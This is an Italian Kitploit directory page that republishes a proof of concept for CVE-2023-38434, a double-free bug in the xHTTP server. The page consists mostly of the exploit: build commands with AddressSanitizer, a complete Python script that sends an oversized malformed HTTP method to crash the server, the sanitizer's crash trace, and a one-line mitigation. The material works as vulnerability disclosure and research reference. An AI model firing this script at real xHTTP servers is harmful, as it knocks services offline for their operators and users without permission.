Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-38434 — Prova di concetto per CVE-2023-38434 | Kitploit
Strumenti/GitHubGitHub/halcy0nic/cve-2023-38434
Analisi delle VulnerabilitàExploitSicurezza WebFuzzingAnalisi di Binari
GitHubhalcy0nic/cve-2023-38434

CVE-2023-38434

Prova di concetto per CVE-2023-38434

Vedi Repository
113 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-38434

Il commit 72f812d e inferiori di xHTTP soffrono di una vulnerabilità di double free in close_connection in xhttp.c, linea 595.

root@kitploit:~
if(conn->request.public.headers.list != NULL)
    free(conn->request.public.headers.list);

Per confermare la vulnerabilità, compila il server xHTTP (incluso in questo repository) con i simboli di debug e l'address sanitizer:

root@kitploit:~
unzip xHTTP.zip
cd xHTTP-main
gcc example.c  xhttp.c -o main -fsanitize=address -g

Una volta compilato il server, avvialo sulla porta 8080:

Server xHTTP

root@kitploit:~
$ ./main

Il double free può essere attivato con un metodo HTTP malformato nella richiesta. Ad esempio, il seguente script python3 invierà una richiesta al server di destinazione con un metodo HTTP malformato per attivare il double free:

root@kitploit:~
#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect(('localhost', 8080))

http_headers = (
    #Richiesta - http_headers
    b'MALFORMEDMETHOD'*1000  +  # Metodo HTTP (Richiesta POST).  L'invio di metodi HTTP malformati invoca un double free in xHTTP
    b' '  
    b'/'  
    b' HTTP/1.0'  
    b'\r\n' 
    b'Host: '  
    b'localhost'  
    b':'  
    b'8080'  
    b'\r\n'  
    b'Accept-Encoding: '  
    b'identity'  
    b'\r\n'  
    b'Content-Type: '  #Tipo di contenuto
    b'application/json'  #Tipo di contenuto JSON
    b'\r\n'  
    
    b'Connection: close\r\n'  
    b'User-Agent: '  
    b'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246'  
    b'\r\n'  

    b'Content-Length: '  
    b'152'  #Dimensione - Content-Length_size
    b'\r\n'  
    b'\r\n'  #Delimitatore - crlf_headers_body
        #Blocco - post_body
        b'data=Somepostdata'  

)

sock.send(http_headers)
sock.recv(65535)

sock.close()

Dopo aver avviato il server, salva ed esegui lo script python3 per attivare il double free.

Script Python3

root@kitploit:~
$ python3 poc.py

Il server si arresterà e l'address sanitizer fornirà informazioni dettagliate sulla posizione del double free.

Output dell'Address Sanitizer

root@kitploit:~
=================================================================                       
==460363==ERROR: AddressSanitizer: attempting double-free on 0x611000000040 in thread T0:
    #0 0x7f7cfaab76a8 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0x562a5c0a1727 in close_connection /home/kali/projects/fuzzing/xHTTP/xhttp.c:595 
    #2 0x562a5c0a9406 in xhttp /home/kali/projects/fuzzing/xHTTP/xhttp.c:1749                                                                                                   
    #3 0x562a5c09f693 in main /home/kali/projects/fuzzing/xHTTP/example.c:37            
    #4 0x7f7cfa846189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58            
    #5 0x7f7cfa846244 in __libc_start_main_impl ../csu/libc-start.c:381                 
    #6 0x562a5c09f420 in _start (/home/kali/projects/fuzzing/xHTTP/main+0x5420)         
                                                                                                                                                                                
0x611000000040 is located 0 bytes inside of 256-byte region [0x611000000040,0x611000000140)
freed by thread T0 here:                                                                
    #0 0x7f7cfaab76a8 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52   
    #1 0x562a5c0a3a4b in parse /home/kali/projects/fuzzing/xHTTP/xhttp.c:868            
    #2 0x562a5c0a7371 in when_data_is_ready_to_be_read /home/kali/projects/fuzzing/xHTTP/xhttp.c:1459
    #3 0x562a5c0a92e0 in xhttp /home/kali/projects/fuzzing/xHTTP/xhttp.c:1735           
    #4 0x562a5c09f693 in main /home/kali/projects/fuzzing/xHTTP/example.c:37            
    #5 0x7f7cfa846189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
                                                                                        
previously allocated by thread T0 here:                                                                                                                                         
    #0 0x7f7cfaab78d5 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
    #1 0x562a5c0a2dca in parse /home/kali/projects/fuzzing/xHTTP/xhttp.c:813            
    #2 0x562a5c0a7371 in when_data_is_ready_to_be_read /home/kali/projects/fuzzing/xHTTP/xhttp.c:1459
    #3 0x562a5c0a92e0 in xhttp /home/kali/projects/fuzzing/xHTTP/xhttp.c:1735
    #4 0x562a5c09f693 in main /home/kali/projects/fuzzing/xHTTP/example.c:37
    #5 0x7f7cfa846189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: double-free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52 in __interceptor_free

Mitigazione

L'implementazione di un controllo aggiuntivo per garantire che ' conn->request.public.headers.list ' venga liberato solo una volta mitiga questa vulnerabilità.

Riferimenti

  • CVE-2023-38434
  • xHTTP
Scarica lo strumento